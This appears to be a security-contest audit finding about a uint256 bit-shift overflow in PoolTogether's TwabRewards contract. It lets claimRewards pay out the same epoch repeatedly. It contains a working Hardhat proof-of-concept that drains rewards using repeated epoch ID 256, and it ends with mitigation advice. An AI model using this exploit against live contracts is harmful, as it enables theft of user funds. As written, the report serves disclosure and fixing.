Handle

kemmio

Vulnerability details

Impact

Possibility to drain all smart contract assets abusing uint256 overflow in _updateClaimedEpoch()

Proof of Concept

The vulnerability arises because of uint256 overflow in _updateClaimedEpoch()
<https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L355&gt;

return _userClaimedEpochs | (uint256(1) << _epochId);

if _epochId == 256 the result of (uint256(1) << _epochId) will be 0, solidity compiler does not have overflow check for byte shift operations (unlike arithmetic checks that were introduced in 0.8.0):
<https://docs.soliditylang.org/en/v0.8.0/control-structures.html?highlight=unchecked#checked-or-unchecked-arithmetic&gt;

The attacker needs to have in possession at least 1 valid ticket, and some reward-tokens.
He creates a promotion using createPromotion().
After that he calls claimRewards() with user=attacker, _promotionId=ATTACKER_PROMOTION_ID and _epochIds = [256,256,…256] - the length of the array will multiply the rewards, since we can claim the same reward multiple times

The require statement is successfully bypassed because of the overflow since _updateClaimedEpoch() will always OR with 0
<https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L175-L181&gt;

require(
    !_isClaimedEpoch(_userClaimedEpochs, _epochId),
    "TwabRewards/rewards-already-claimed"
);

_rewardsAmount += _calculateRewardAmount(_user, _promotion, _epochId);
_userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);

And _rewardsAmount with get accumulated _epochIds.length — times

Proof of Concept(hardhat test case):

describe('Attack', async()=>{
    it('attacker able to withdraw more than he can', async()=>{
        //CREATE PROMOTION FOR OTHER USERS
        const promotionId = 1;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionId);

        const promotion = await twabRewards.callStatic.getPromotion(promotionId);

        expect(promotion.creator).to.equal(wallet1.address);
        expect(promotion.ticket).to.equal(ticket.address);
        expect(promotion.token).to.equal(rewardToken.address);
        expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch);
        expect(promotion.startTimestamp).to.equal(createPromotionTimestamp);
        expect(promotion.epochDuration).to.equal(epochDuration);
        expect(promotion.numberOfEpochs).to.equal(numberOfEpochs);

        //Create an attacker promotion  
        const att_tokensPerEpoch = toWei('10000');
        const att_epochDuration = 1; // 1 week in seconds
        const att_numberOfEpochs = 255; // 3 months since 1 epoch runs for 1 week
        const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs);
         
        createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
         
        await rewardToken.mint(attacker.address, att_promotionAmount);
        await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount);

        await expect(twabRewards.connect(attacker).createPromotion(
         ticket.address,
         rewardToken.address,
         att_tokensPerEpoch,
         createPromotionTimestamp,
         att_epochDuration,
         att_numberOfEpochs,
        )).to.emit(twabRewards, 'PromotionCreated');


        //Mint some tickets
        await ticket.delegate(wallet1.address);
        await ticket.connect(attacker).delegate(attacker.address);
        await ticket.controllerMint(wallet1.address, toWei('1000'));
        await ticket.controllerMint(attacker.address, toWei('1000'));
   
        await increaseTime(att_epochDuration*256);

        //calculate how much attacker actually can withdraw
        let reward = await twabRewards.getRewardsAmount(attacker.address,2,[256]);

        await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [256,256,256,256,256]);

        
        expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(reward[0].mul(5));
        //ASSETS DRAINED
    });
});

For the test to run properly:

1. Add this test to TwabRewards.test.ts
2. Add or rename one of the signers to “attacker”

[wallet1, wallet2, wallet3, attacker] = await getSigners();

Tools Used

Recommended Mitigation Steps

_epochIds should be changed to be uint8 everywhere, also it is recommended to require that epochsIds < numberOfEpochs

---

The text was updated successfully, but these errors were encountered:

All reactions